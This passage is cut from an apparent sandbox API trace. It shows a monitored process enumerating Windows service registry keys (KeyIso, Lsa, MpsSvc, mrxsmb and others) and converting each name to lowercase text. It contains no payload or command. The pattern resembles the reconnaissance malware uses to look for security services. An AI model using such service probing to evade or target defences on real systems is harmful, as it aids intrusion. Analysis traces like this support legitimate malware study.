lpUsedDefaultChar=0x0) returned 8 [0180.535] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0180.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0180.535] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0180.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0180.535] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0180.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0180.586] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0180.586] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0180.586] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0180.586] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0180.586] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0180.587] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0180.587] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0180.587] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0180.587] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0180.587] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0180.587] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0180.588] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0180.588] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0180.588] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0180.588] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0180.588] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0180.588] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0180.589] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0180.589] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a90, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0180.589] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0180.589] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0180.589] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0180.590] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0180.590] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0180.590] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0180.590] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1a00, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0180.590] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0180.590] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0180.591] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0180.591] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0180.591] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0180.591] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0180.591] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0180.591] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0180.592] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0180.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 